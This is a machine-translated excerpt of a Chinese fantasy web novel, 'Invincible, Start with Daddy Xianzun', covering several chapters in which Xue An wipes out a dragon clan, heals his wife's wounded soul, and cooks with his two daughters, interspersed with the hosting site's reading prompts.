    You must know that he has been trapped in the current realm for hundreds of years, and he would have no hope of breaking through for this life.


    But I didn''t expect to get such a big gift.


    But Xue An said not to thank him, so he could only give a deep salute to Xue An.


    "Yes!"


    Xue An nodded and then turned his gaze to Xia Qi aside.


    After seeing this slim girl, Xue An''s eyes couldn''t help flashing a hint of appreciation.


    To be able to stand up at the last moment and save the family at the expense of oneself.


    Regardless of whether she succeeded in doing this, her courage alone is enough to be admirable.


    So Xue An smiled at her slightly, "Miss Xia, I seem to thank you for speaking of it! If it weren''t for you, these magic dragons would not give up so easily!"


    Xia Qi''s complexion turned red, and he said falteringly: "Big...sir, this is what I should do!"


    Xue An smiled, "There is nothing that should be done. I must thank you afterwards for this matter!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1593 Refining the Dragon (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1590： The storm subsides

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    After all, he raised his eyes and looked at the people in the distance, and said lightly: "What do you want to do here, you know best in your heart, I don''t need to pursue it, but you must remember that if someone dares to commit a crime again, think first I wonder if I have any powerful dragons!"


    After throwing down these words, Xue An turned around, holding the mass of blood in his hand, and flew directly into the Fubao Xiaolou.


    Only the whole audience looked at each other.


    It was not until a long time later that someone sighed softly: "After this battle, this adult will have a place in Paradise Lost!"


    Everyone was silent.


    At this moment, in a corner somewhere, Xia Yi, who was seriously injured because of the sudden trouble of the three bosses, was roaring like a crazy tiger.


    "What do you want to do?"


    "What do you want to do? Of course I want you to die!" Boss Liu grinned.


    "Why? I regard you as an outsider, why are you doing this to me!" Xia Yi shouted hysterically.


    "It''s very simple, because you made a big mistake, that is, you have found an enemy you can''t afford to provoke!" Older Liu said in a cold voice, and at the same time his offensive stepped up.


    Xia Yi couldn''t dodge, and was cut out another big hole. With the blood dripping, he finally understood something.


    "It turns out that you are with the group named Xue! The surnamed Xue, you despicable villain, unexpectedly attacked me in this way!" Xia Yi shouted.


    This sound scared the three of them to death.


    If this is heard by the adult, there would be three of his own lives.


    Therefore, Boss Liu roared furiously: "Enough, you really take yourself seriously! With the strength of that adult, if you want to kill you, it is like crushing a bug, but also in this way. Come to deal with you? You are too high to see yourself!"


    These words also made Xia Yi regain consciousness, and then roared: "Then why are you doing this to me? What benefit did he give you?"


    Until this time, Xia Yi still thought that the three of Liu Boss had been sent by Xue An.


    Boss Liu shook his head when he heard the words, "I''m really wondering, how did your IQ survive until now? The adults didn''t give us any benefits. We want to kill you just because you are too stupid!"


    As he said, he winked at his two hands, and the three of them swarmed up and stepped up the offensive.


    Xia Yi was already weak, coupled with serious injuries, so after a few face-to-face encounters, he fell on the left and right, and it was difficult to resist.


    It was only then that Xia Yi felt deep fear, and couldn''t help but tremble and shout: "Three adults, forgive me, I will give you whatever you want, as long as I keep my life!"


    "Hey, if someone else said that, we might just let it go, but what we want is your life this time!" Liu Boss said with a grin.


    At the same time, Triangle Eye didn''t know when it had sneaked behind Xia Yi, and took a sharp blow.


    puff!


    Blood spattered.


    "No..." Xia Yi screamed.


    But then, his scream stopped abruptly.


    Because Boss Liu had already chopped off his head cleanly.


    It wasn''t until the moment of death that Xia Yi felt deep regret.


    At the beginning, I shouldn''t have listened to Zhang Yinchi''s bewitching and betrayed his family for the Zhang family!


    Unfortunately, everything is too late.


    In an instant, his soul sank into the darkness and never woke up again.


    Boss Liu and the three looked at each other before exhaling.


    Of course, Xue An naturally didn''t know about these incidents.


    Even if he knew, he didn''t bother to take care of a little Xia Yi.


    At this moment, he has already returned to the Fubao Xiaolou.


    Then he came to Anyan''s house.


    At this time, An Yan was still in a coma, but through careful investigation, Xue An found that Yan''er''s condition had improved a lot, and she should wake up in a few days.


    This could not help calming his irritated heart a little bit.


    At this time, Hu Ying noticed the mass of blood in Xue An''s hand, and couldn''t help asking: "Brother Xue, what are you holding in your hand?"


    Xue An smiled when he heard the words, "This, this is the blood qi transformed from the blood of the Devil Dragon clan, I prepared for Xiaosha!"


    Zhang Xiaoyu on the side heard the words and his eyes lit up, "Sir, if this is the case, will Master Xiaosha wake up soon?"


    "Of course it won''t be so fast, because these are just laying the foundation for Xiaosha''s awakening, but if you want her to really wake up, you still need Wanlongchi!"


    Zhang Xiaoyu couldn''t help being disappointed when he heard this, but knew that this matter should not be rushed.


    "What''s so strange about Xiaosha during the time I was away?" Xue An asked.


    Zhang Xiaoyu shook his head, "I just saw it, everything is normal!"


    "Very good!" As he said, Xue Anye has come to Xiaosha''s sleeping room.


    The wall that was hit by Xue An before has recovered.


    In fact, with the continuous evolution of Fubao Xiaolou, all forms can be changed.


    It''s just that everyone is used to it, so they still maintain their previous appearance.


    As for repairing the broken walls, it was just an order from the magic rune koi.


    The dragon egg transformed by Xiaosha was parked quietly in the middle of the room, while the magic dragon bracelet was floating on the dragon egg.


    Nothing has changed.


    Xue An exhaled slightly, then waved, the bracelet flew into his hand.


    Click!


    After a crisp sound, all the prohibitions attached to the magic dragon bracelet were revoked.


    At this moment, Mo Chunqing, who had fallen into a desperate sleep, suddenly opened her eyes.


    Xue An smiled at her, "It''s time to hit the road!"


    Mo Chunqing''s pupils instantly shrank to the size of a pinpoint, and then he tried to escape by urging his whole body.


    But before she could move, Xue An grabbed her neck and shook his head gently.


    "Don''t struggle, isn''t the most important thing for a family to be neat and tidy? So I have exhausted all of your dragon clan, and you will be alone!"


    As he said, Xue An spread out his palms, and the mass of blood rose into the air and floated into the air.


    Mo Chunqing couldn''t help but shook his whole body when he saw the blood qi, especially when he felt the familiar breath in it, he couldn''t help but screamed, "Father..."


    Then he looked at Xue An with infinite bitterness, "What happened to my father?"


    Xue An shrugged, "As you can see, your father is now turned into a ball of blood!"


    "You devil!" Mo Chunqing roared like a lightning strike.


    "Compared with the sins committed by your dragon clan I''m still a lot worse!" Xue An said lightly, and then smiled sensibly, "Walk away!"


    The flame rose out of thin air, first refining the ten dragons that were still in a daze and had not fully awakened.


    Immediately afterwards, Mo Chunqing''s body was also covered by flames.


    The unmelting flame is the most equal, so Mo Chunqing will also become nothingness in a moment.


    With the supplement of this last breath, the lustrous luster in this group of blood became more and more radiant, and there was even an image of a pill formation faintly.


    Xue An didn''t give it this opportunity, and saw him wave his hand.


    This mass of blood flew above Xiaosha''s dome, first circled, and then wrapped the entire dome.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1594, the storm has subsided (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1591： The talent of 2 little girls

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    now.


    The kitchen in Fu Bao Xiaolou was really lively.


    Seeing that my mother''s condition is getting better and she will soon be able to wake up, the two little girls finally let go of their hanging hearts, and the whole person has returned to the previous vigor.


    Then the two of them entangled Xue An.


    Yes, it is tangled in the literal sense.


    Because Xue An has been busy tossing through the heavens recently, and has not played with his two daughters for a long time.


    So when I finally had the opportunity this time, I missed Xue An almost all of it, not leaving his father half a step away.


    Xue An only felt full of happiness for the two extra "garments" on his body.


    He also felt that he owed a lot of his two daughters recently. Taking advantage of the free time now, Xue An took over the role of An Yan and accompanies the two daughters to study calligraphy, draw and play games every day.


    Of course, the most important thing is to cook for the two daughters.


    Today is no exception.


    Xue An knelt down and asked with a smile: "Tell dad, what do you two want to eat today?"


    Missing Nian tilted her head, heads together, thinking about this issue seriously with her face all over her face.


    For these two snacks, it is the happiest thing in the world to be able to eat the rice cooked by father himself.


    So the two of them naturally have to take it seriously.


    "What? Can''t make up your mind? Then I''ll give you the name of the dish, braised pork, sweet and sour fish..." Xue An said with a smile.


    The two little girls heard their mouths drooling, and then they discussed in a low voice for a while, and finally thought as if they had made some major determination, and their little faces were full of seriousness.


    "Dad! We want to eat egg fried rice!"


    "Egg fried rice?" Xue An was startled.


    The two little girls nodded seriously, "Yes! It''s egg fried rice!"


    Then Nian-nian asked cautiously: "Can you?"


    This unexpected decision made Xue An a little stunned, and then he couldn''t help but laughed and said, "Of course, but why is it egg fried rice? You know it''s too simple!"


    "Because... When my father came back, the first time he made us fried rice with eggs!" Think about it and said softly.


    Nian Ni nodded her head emphatically.


    Xue An was startled when he heard the words, and then fell silent.


    He didn''t expect that the two little girls who were very young at the time would remember a simple egg fried rice meal so clearly.


    Seeing the two daughters who were getting more and more beautiful, Xue An couldn''t help but feel a deep guilt in his heart, and then nodded heavily.


    "Good! Then make egg fried rice!"


    "Oh, yes!"


    The two little girls cheered.


    Xue An also smiled. He reached out and touched the little heads of the two little girls, "And this time Dad also teaches you to cook, how about?"


    "Wow! Great!" The two little girls cheered even more.


    So the three of them came to the kitchen and began to teach them two to cook.


    "First of all, you have to prepare the ingredients you need! This can be complicated or simple, but I generally like to do it in the simplest way!"


    With that said, Xue An picked up an egg, smashed it gently on the rim of the bowl, and then squeezed the shell.


    The golden egg liquid fell into the fine white porcelain bowl, it was really beautiful.


    The two little girls suddenly flashed a pair of big eyes, looking curiously.


    "Come on, you two will fight the remaining eggs! Just follow the method I just did!" Xue An told with a smile.


    The two little girls were all excited when they heard the words. Xue Xiang took the lead in picking up an egg and gently tapping it against the edge of the bowl.


    Click!


    After a soft sound, the egg was not broken, and the bowl was broken!


    Xue Xiang was dumbfounded, and then scratched the back of his head a little embarrassedly, "Dad, this..."


    Xue An first waved his hand and directly destroyed the fragments, then smiled and said: "Attention, you obviously used too much strength!"


    Then he took out a bowl again. This time it was Xue Nian''s turn. This time, she successfully smashed the egg, but she broke the egg all over again with excitement.


    Xue An was not in a hurry, and after picking up the debris, he slowly taught his two daughters to cook.


    "Look, when you stir the egg mixture, you should stir it quickly in one direction...!"


    Before the words fell, a chopstick turned into a black light, and flew out with lightning speed.


    A muffled bang!


    This ebony chopstick was nailed directly into the wall, leaving only a bottomless hole.


    The force was so great that even a lot of dust fell on the shaking wall.


    Immediately afterwards, I heard a cry of grievance from the magic rune Koi outside.


    Xue Xiang stood awkwardly on the spot, holding only one chopstick in his hand.


    Xue An retracted his gaze from the wall, and then said dumbfoundingly: "Think about it, I said quick stirring, not letting you fly!"


    Xue Xiang was embarrassed and stuck out his tongue.


    "Sorry Dad, I didn''t mean it!"


    Xue An sighed helplessly.


    In fact, he also noticed this problem.


    Over time, the two little girls are gradually growing up.


    And what has grown together is their strength.


    This kind of inheritance from the bloodline talent gave them a unique strength.


    But this also brings up a problem, that is, for the two little girls who are far from mature in mind, how to master this power skillfully has become a big problem.


    Otherwise, it would be like just before, mixing an egg will make the chopsticks in your hand a killer.


    But Nian-nian obviously didn''t think so. She looked at Xue thinking with admiration on her face, "Wow! Sister is amazing! I want to learn too!"


    With that, she started to stir the eggs as Xue thought, and then deliberately took the chopsticks out of her hand.


    I saw the chopsticks turned into a cold light, and after flying a full meter away...it fell to the ground with a snap.


    The atmosphere suddenly became very awkward.


    After a while Xue An just suppressed a smile and said, "Uh...the chopsticks in Nian Nian''s hand are flying well!"


    Nian Nian flushed her face with anger and stomped her feet suddenly, "Get me up!"


    With an order, the chopsticks that had fallen on the ground suddenly lifted into the air, and then stabbed straight into the distance with a violent posture.


    Xue An''s expression condensed when he saw it, and he waved his hand during the inconvenient time, and a strand of sword light came first. This was the moment when the chopsticks pierced the wall, and the chopsticks were completely shredded.


    "Hehe! Dad, I''m good!" Nian Nian said quite proudly.


    Xue An looked speechless, and there was a trace of worry in his eyes when he looked at Nian Nian.


    Nian-nian is not even ten years old now, but has shown such a terrifying talent.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1595 The talents of two little girls (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1592： Little sisters who cook and shout for cheer

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Moreover, this kind of talent for uttering the law has not even seen Xue An when he was in Xianzun.


    If this takes time, it is really hard to imagine what the talent of Nian Nian will become!


    But soon Xue An relaxed again.


    No matter what it becomes, I miss my daughters. As long as I am present, even if I am an enemy of the world, I will protect them for life.


    Because of these two episodes, Xue An only allowed the two of them to watch while cooking next, and they were not allowed to do any more.


    But these two little girls are obviously unwilling to be lonely, even if they are on the sidelines, they have to look on and make a difference.


    Since they couldn''t move their hands, they simply shouted to the side to cheer!


    That''s right, just come on!


    When Xue An beat the eggs, the two little girls waved and shouted.


    "Wow! Dad is amazing!"


    When Xue An poured the eggs into the hot pot and stir fry, the two little girls shouted in admiration: "Wow, Dad is great!"


    Even Xue An''s scooping of a spoon will evoke a burst of cheers, as if she has already been transformed into Xue An''s two little fans.


    In the face of this situation, Xue An could not laugh or cry, and could only pretend not to hear it with a straight face.


    But at this moment, a soft voice came from outside the kitchen door.


    "What is this doing? It smells so good?"


    When the father and daughter looked back together, they saw An Yan Qiaoran standing behind the door. After seeing the three of them looking at him, they couldn''t help swiping the temples near their ears and said with a smile.


    "Okay! The three of you stole food behind my back!"


    Before the words fell, the two little girls plunged into An Yan''s arms at a rapid speed.


    "Mom, you finally wake up!"


    "Yes, mother, we two miss you so much!"


    The two little girls cried out crying.


    Anyan''s nose was sour and she almost shed tears, but soon stabilized her mind, and said with a smile, "Okay, okay, isn''t it all right for me! Don''t cry!"


    After soothing for a while, the two little girls stopped crying.


    Then An Yan raised his head and looked at Xue An, who was standing not far away, watching him quietly the whole time.


    "Husband!" An Yan was a little shy by Xue An''s staring gaze, and couldn''t help but tremble.


    Xue An smiled, narrowed his gaze, and nodded slightly, "Hmm! Just wake up!"


    Then turned around and said lightly: "What do you want to eat? I''ll make it today!"


    The egg fried rice was ready, and the two little girls were gorging themselves outside the kitchen.


    Xue An and An Yan were left in the kitchen.


    With a white towel on Xue An''s neck, he was cooking hotly.


    The aroma of the food, the clash of pots and spoons, and the roar of the fire, constitute a movement full of human fireworks.


    An Yan stood behind Xue An and watched quietly, in a daze, as if she had returned to that small room a long time ago.


    It was the same at that time. He had a big belly and looked forward to Xue Anneng, who was out to work, to return soon.


    When he comes back, he will stand at the door of the kitchen as he does now, talking excitedly while admiring his husband''s cooking skills.


    Although life at that time was bitter, it revealed an enviable sweetness.


    Thinking about it, An Yan''s eyes couldn''t help being filled with tears.


    At this moment, Xue An packed up a few small dishes, turned around and smiled at An Yan: "Okay! It''s all your favorite!"


    An Yan hurriedly turned her gaze to cover the tears in her eyes, and then smiled and said, "Look at me, you are obviously cooking, but I was smoked into my eyes by the oil!"


    A faint brilliance flashed in Xue An''s eyes, and then he smiled imperceptibly: "That''s because you are stupid! Okay, let''s bring it to our room. We two have a drink today!"


    Hu Ying and Zhang Xiaoyu were both waiting in Xiaosha''s room at the moment, so they didn''t come out.


    After the two little girls ate the egg fried rice, they went to the second floor to rest.


    During this period of time because of An Yan''s coma, the two of them did not rest well. Now seeing that their mother is safe and sound, the big rock in their hearts finally fell to the ground, so they went to rest.


    Only Xue An and An Yan sat opposite each other in the room.


    The food in front of me was full of refreshing aroma.


    As Xue An said, these are Anyan''s favorites.


    But neither of them moved their chopsticks, they just watched quietly.


    After a while, Xue An silently picked up the wine bottle and gently filled two glasses of wine, one was handed to An Yan, and one was held in his hand.


    "Come on, Yan''er, this cup to celebrate your waking up!"


    "Yeah!" An Yan nodded, took the cup in her hand, and drank it in one go.


    After putting down the wine glass, An Yan''s face was stained with two red roses, which was simply indescribable.


    Xue An just looked at her silently, until after a while, he lowered his head and said lightly.


    "Yan''er, what did you see when you were in a coma that made you so scared?"


    As soon as this sentence came out, An Yan trembled, her complexion suddenly turned pale, and then lowered her head, tears falling like broken beads.


    At this moment, a warm and powerful arm wrapped her shoulders and hugged her into her arms.


    "Okay! Stop crying, no one can hurt you with me!" Xue An said calmly, but his eyes were boiling with murderous intent.


    In Xue An''s arms, An Yan slowly stopped shaking.


    Xue An gently stroked Yan''er''s hair and said softly, "Hey, tell me now, what have you seen?"


    There was a moment of silence. After a long time, An Yan said like a mosquito: "Husband, in a comatose dream, I saw a woman!"


    "Oh? Woman?" Xue An''s heart moved.


    Suddenly remembered that when he was still on Earth a long time ago, the seal in An Yan''s body was triggered for the first time, and then Xue An saw a huge eye in the spiritual world.


    At that time, although Xue An''s cultivation level had not recovered at all, he still broke this eye with the power of his tyrannical divine mind.


    And it was in this eye that Xue An felt a vague breath ~ www.novelhall.com~ In addition to the power of the fairy king, there seemed to be a woman''s smell.


    An Yan nodded, but her whole body began to tremble again, seeming to think of a terrifying scene.


    "Yes! But this woman is different. When I saw her in my dream, although it was just a look,...but I felt a terrifying pressure!"


    Speaking of this, An Yan trembled even more severely.


    That kind of fear made her unable to control herself.


    The killing intent in Xue An''s distressed eyes was almost gushing out, but he calmed down and patted An Yan''s back lightly.


    A soft mental energy then entered An Yan''s body.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1596, the little sisters who are cooking and shouting for cheering (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1593： Evil exists

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    An Yan gradually returned to normal, and then groaned almost dreamily: "I can''t describe that feeling. This woman is like an all-knowing **** and a hideous and terrifying beast. Before her, I just I feel my sanity is being torn apart little by little, and then pulled into the bottomless abyss little by little!"


    Xue An raised his eyebrows slightly, and a thoughtful look appeared on his face.


    The reason is torn apart, it looks like a **** but exists like an evil beast?


    The combination of these information made Xue An''s complexion gradually dignified.


    Because he suddenly thought of a possibility.


    If this is the case, then all previous doubts can be easily solved.


    At this time An Yan buried her head in Xue An''s chest, and whispered: "Husband, I really thought I would never wake up again, until later, I felt your divine will!"


    "At that time, as soon as your divine mind appeared, those visions were completely shredded, but this woman, like an immortal body, kept appearing all the time. Until the end, I got out of this nightmare!"


    Speaking of this, An Yan raised her head and looked at Xue An with tears on her face, "Husband, I am really scared, I am afraid that I will sleep forever and never see you again!"


    Xue An smiled softly and patted her head lightly, "Little fool, what are you thinking about! With me, no one can take you away from me!"


    "But that woman..." An Yan''s eyes showed horror again.


    It can be seen the depth of the shadow left on her.


    "What''s wrong with that woman?" Xue An said lightly.


    "She feels like an existence that can never be defeated or even be perceived! So I''m afraid..."


    "Afraid I will lose?" Xue An said with a smile.


    An Yan did not speak, but silence sometimes means tacit approval.


    Xue An smiled when he saw it, "Okay! Stop thinking about it, don''t you still believe in the strength of your husband? And the reason why you feel that woman is terrifying is just because she sealed you!"


    An Yan nodded, but after a while, she gathered up the courage to raise her head.


    "Husband, do you know who she is?"


    Xue An nodded, "If my guess is correct, it should be that group of guys! Because only this group exists, can they use such despicable mental means to intimidate and control others!"


    When it came to this, Xue An''s eyes flashed with cold murderous intent.


    An Yan was still a little frightened, because the power she felt in her dream was so powerful that it made her feel suspicious.


    But looking at what Xue An looks like now, he obviously recognizes these existences.


    This made An Yan a big sigh of relief.


    After all, the unknown is often the most terrifying.


    "Okay, Yan''er, your current mind is clearly traumatized. Next, I will use my mind to fill your eyebrows, remember not to be nervous, it will be well soon! Understand?" Xue An said softly.


    An Yan nodded, "Hmm!"


    Xue An took a deep breath, his eyes suddenly burst into bright brilliance, and a turbulent divine mind directly penetrated An Yan''s eyebrows.


    The whole process was unimpeded, and it was obvious that An Yan had completely let go of Xue An''s mind.


    This requires thorough and unreserved trust.


    Upon seeing this, Xue An felt pain and anger in his heart, and his killing intent became more intense.


    An Yan is the most important existence in his life.


    But I didn''t expect that someone would dare to hurt her like this, and this couldn''t help raising Xue An''s heart with an anger that could destroy the world.


    But before he found the target, Xue An had to reluctantly suppress the anger in his heart.


    As Xue An had expected, An Yan''s soul has been seriously injured.


    A huge wound appeared on the surface of the gray spirit.


    It is because of this that An Yan is so vulnerable and helpless.


    Xue An was distressed and couldn''t help himself, so he directly used his most precious soul source to help An Yan make up for this scar.


    In an instant.


    The wound is healed and everything is as before.


    But Xue An didn''t just withdraw.


    Because he knew that to really cure Yan''er, the first thing to do was to erase the memory in the dream.


    Thinking of this, Xue An carefully unfolded Anyan''s sea of ??memories.


    In that huge memory, Xue An easily found this memory that exuded gray brilliance.


    Xue An''s heart moved, but he didn''t erase it like that, but directly infiltrated his spirit.


    boom!


    With a light tremor.


    In front of Xue An, a dark green starry sky appeared.


    Under the stars, An Yan was sitting on the ground with a pained face, and above the sky in the distance, there was a woman''s figure.


    At the moment when he saw this woman, Xue An''s spiritual thoughts were shocked, and his sanity faded crazily.


    At the same time, the woman slowly raised her eyes and looked towards Xue An.


    What kind of eyes are that.


    Void and illusion, but full of cold cruelty.


    When the sights of the two parties were in contact, a fascinating and inconceivable force descended on Xue An, tearing his spiritual thoughts.


    But in this situation, a sneer appeared on the corner of Xue An''s mouth.


    "Sure enough, you guys who think they are noble and extraordinary evil gods!"


    After all, Xue An''s eyes suddenly showed an extremely bright brilliance, and the turbulent spirit swept everything around him instantly.


    The woman''s expression was slightly startled, and then she was completely wiped out under the bombardment of this sea-like spirit.


    When the woman''s figure disappeared, the picture of this memory burst into pieces.


    Then Xue An retreated from Anyan''s sea of ??knowledge.


    Looking at An Yan at this moment, she had already fallen asleep on Xue An''s chest, and the color of fear on her face gradually faded.


    Xue An knew that this was her normal performance, and could not help but let out a sigh, then gently hugged An Yan and put it on the bed.


    Staring at An Yan''s gradually sweet expression Xue An laughed silently, and then whispered softly.


    "I didn''t pay attention to you ancient bereaved clan before, but I didn''t expect that you dare to attack Yan''er, so don''t blame me for being rude!"


    In this sleep, An Yan slept for more than three hours.


    When she woke up again, she only felt refreshed and in an unprecedented state.


    This made her stretch out a long stretch, and then yawned comfortably.


    "Sleep really sound!"


    Then she noticed Xue An, who was sitting on the bed and looking at her with a smile. She was startled first, and then her cheeks turned red at a speed visible to the naked eye.


    "Old...husband, why are you here?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1597 Evil Exists (third more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1594： Sweet death

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Xue An smiled dozingly, stretched out his hand to gently stroke An Yan''s cheek, and said softly: "Because I''m waiting for you to wake up!"


    An Yan''s face turned red, but her eyes were full of water, and she was obviously moved by Xue An''s words.


    She sat up gently, wrapped her hands around Xue An''s waist, and leaned her head on Xue An''s chest.


    The atmosphere in the room suddenly became quiet and sweet.


    It was not until a long time later that An Yan raised his head and asked in a confused tone: "But my husband, why do I feel that I have forgotten something?"


    Looking at An Yan with a blank face, Xue An did not speak, but leaned down and kissed her gently between her brows.


    Such a move made An Yan''s whole body weaken instantly.


    When Xue An stood up again, An Yan seemed to be drunk, and her whole body was covered with a light pink.


    Xue An smiled at An Yan''s indescribable shame, and whispered softly: "If you forget, just forget it, as long as you don''t forget me!"


    An Yan screamed, gave Xue An a little bit, then twisted in Xue An''s arms like a kitten, and whispered: "Bah! Nonsense, how could I forget you?"


    Xue An laughed, stretched out his hand and hugged An Yan in his waist.


    An Yan screamed, and even after seeing the smirk at the corner of Xue An''s mouth, she couldn''t help but trembled and said, "Old...husband, what are you going to do?"


    Xue An leaned into An Yan''s ear and laughed softly: "Guess what I want to do?"


    The heat spit out while speaking made An Yan shiver slightly.


    "Why don''t you speak?" Xue An then asked, his eyes full of teasing.


    "I don''t know what you want to do, anyway, you are a big badass, so...whatever...whatever you want!"


    After saying this, An Yan closed her eyes in embarrassment, blushing as if she had a fever.


    Xue An was taken aback by the appearance of Ren Jun''s picking, and suddenly he couldn''t bear to tease her, so he said in a deep voice, "Yan''er!"


    "Huh?" An Yan replied in a daze.


    "You just woke up from a coma, and your body is still very weak, so I actually didn''t mean anything else, just wanted you to drink two glasses of wine with me!"


    As soon as Xue An''s words fell, An Yan couldn''t help but opened his eyes blankly, staring at Xue An blankly.


    After seeing Xue An''s face that wanted to laugh but didn''t dare to laugh, she knew that she had been molested. She was so angry and ashamed that she bit her mouth directly on Xue An''s arm.


    hiss!


    Xue An took a breath.


    Among other things, An Yan''s mouth is really good.


    This bite down, Xue An really hurts!


    But Xue An didn''t dare to say anything, so he could only grinned his teeth and said, "Yan''er, I didn''t tease you on purpose. Hey, lightly, it''s all bitten!"


    Only then did An Yan let go of his mouth, and Xue An looked at the deep tooth mark on his arm, almost crying.


    An Yan was proud of his face. He jumped from Xue An''s arms and said bitterly: "I don''t care, you just teased me on purpose! So this is your punishment!"


    Xue An rubbed his arms with a sad face and sighed: "It''s all right, I think I was bitten by a dog!"


    "Huh?" An Yan raised his eyebrows, but pinched Xue An''s waist with his fingers, and asked softly: "Who do you think is a dog?"


    "I am I! I am the head office now!" Xue An immediately surrendered.


    "It''s almost the same!" An Yan released her hand. She wanted to maintain a cold look, but she couldn''t help it first and smiled directly.


    Xue An also laughed.


    Because he was very pleased to feel that the lively and lovely An Yan was back again.


    "Come on! You and I won''t be drunk today or return!"


    "What do you call me?"


    "Ah, ma''am, let''s have a drink today!"


    "Hmph, this is almost the same!"


    Just as Xue An and An Yan were fighting and drinking while sitting at each other.


    Fox Ying, who was guarding in Xiaosha''s room, closed her pair of furry fox ears, and a smile appeared on her face.


    Zhang Xiaoyu approached curiously and asked, "Sister Fox, what are you laughing at?"


    "Huh? Am I smiling?" Hu Ying was slightly startled, and asked back.


    Zhang Xiaoyu nodded again and again, "Of course he is smiling! And the smile is still wretched!"


    "Worthy?" Several black lines appeared on Hu Ying''s forehead.


    "Yeah! It''s like those fools in the movie who overhear others!" Zhang Xiaoyu said solemnly.


    The corners of Hu Ying''s eyes began to twitch, and she suppressed the anger in her heart, and said lightly: "Say...what movies do you usually watch? Why are there idiots?"


    "Violent crime investigation! It''s beautiful!"


    "..."


    Hu Ying finally couldn''t stand it anymore, raised her hand and slammed Octopus on the head, "Of course there is a problem. You are also a girl, how can you watch this kind of movie? And I am not a wretched smile. This is the kindly aunt laughing, OK!"


    Zhang Xiaoyu was knocked with tears in her eyes, and she nodded silently, "Oh!"


    Hu Ying was still angry, "Okay, I will send the movie to my room later!"


    "Huh?" Zhang Xiaoyu opened his mouth wide.


    "Ah what? I want to take a critical look!"


    "Oh!" Zhang Xiaoyu walked away inexplicably.


    Standing in place, Hu Ying let out a long sigh.


    With her racial talent, she naturally perceives everything that happened in the outside world.


    But she did not show up.


    Because she knew that Xue An would definitely be able to solve this matter.


    really.


    When the detective heard the sweet words between Xue An and An Yan, Hu Ying stopped listening.


    Of course she likes Xue An, but she also knows that no one can replace An Yan.


    In addition, after so long days and nights, she also respects An Yan very much.


    So when she felt this beautiful result, she was only full of happiness in her heart.


    "Really, the way I just laughed is really wretched?" Hu Ying touched her cheek with her hand.


    "No wonder, I am the number one fox girl in the heavens! How could it be insignificant!"


    Hu Ying whispered, she also turned and left.


    This storm is finally over.


    Xue An spent a few days with An Yan and his two daughters in the Fu Bao Xiaolou.


    It was not until the day when Paradise Lost opened that he left Fubao Xiaolou and returned to Wuwangya.


    The Wuwangya at this moment has changed drastically from a month ago.


    The complete destruction of the abyssal dragon clan shocked not only Wuwangya, but also the entire darkness.


    And Xue An''s turnout turned out to be a fascinating talk.


    at the same time.


    The Xia family has suddenly emerged. In a short period of time, not only has it gained a firm foothold, but its strength has also developed by leaps and bounds.


    This is the reason that Xia Zheng has always been cautious and rejected many forces who came to take refuge.


    Otherwise, the Xia family might even have brought the entire Wuwangya under control.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1598 Sweet Death Does Not Pay for Life (First Update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1595： Chaos City

    () You can search for "Invincible, Start from Xianzun Dad( in Baidu to find the latest chapter!


    Today''s Xia family has a strange atmosphere.


    Because Xue An, who had disappeared since destroying the Devil Dragon clan, had returned at this moment.


    But no one is happy about it, because they all know what it means.


    This adult is obviously leaving.


    Although it had been anticipated, many people felt full of dismay when it really happened.


    In this atmosphere, in the tea room in the backyard, Xue An was sitting in the middle, and Xia was by the side.


    And Xia Qi, at this moment, silently lowered her head and stood not far away.


    Xue An smiled faintly, "Miss Xia!"


    "Huh?" Xia Qi raised her head subconsciously, looking at Xue An with a blank face.


    "I said before, I will give you a thank you! Here, now to you!"


    With that, Xue An waved his hand casually, and a divine thought flew into Xia Qi''s eyebrows.


    Xia Qi was shocked, the expressions on her face changed, but in a moment, these expressions all turned into shock.


    "This...this is..."


    Xue An said slowly: "This is a set of exercises that I specially tailored for you based on your talent and the characteristics of your Xia family''s exercises. It should be of some help to you and your Xia family!"


    As soon as he said this, Xia Zheng in the distance almost stared out.


    This is more than a little help, it is simply the most precious gift.


    As the head of the family, Xia Zheng knew how precious a set of exercises suitable for family practice was.


    What''s more, this is a tailor-made model!


    The meaning represented by this is too rich.


    At least Xia Zheng hasn''t heard of it yet, who can customize the exercises so lightly.


    Not even the big people in Paradise Lost!


    So there was something more in the eyes of Xia Zheng looking at Xue An.


    If it was just pure respect before, now there is more admiration and awe!


    Because Xia Zheng faintly realized that the white-clothed boy in front of him was even more powerful than he had imagined, and his background was even more unimaginable!


    He guessed right at this point.


    Because even in the heavens, there are not many who can tailor exercises for people as easily as Xue An.


    This requires not only strong strength, but also unique insight.


    And these, Xue An is not lacking.


    After doing all this, Xue An stood up, walked to the window, and looked at the scenery outside.


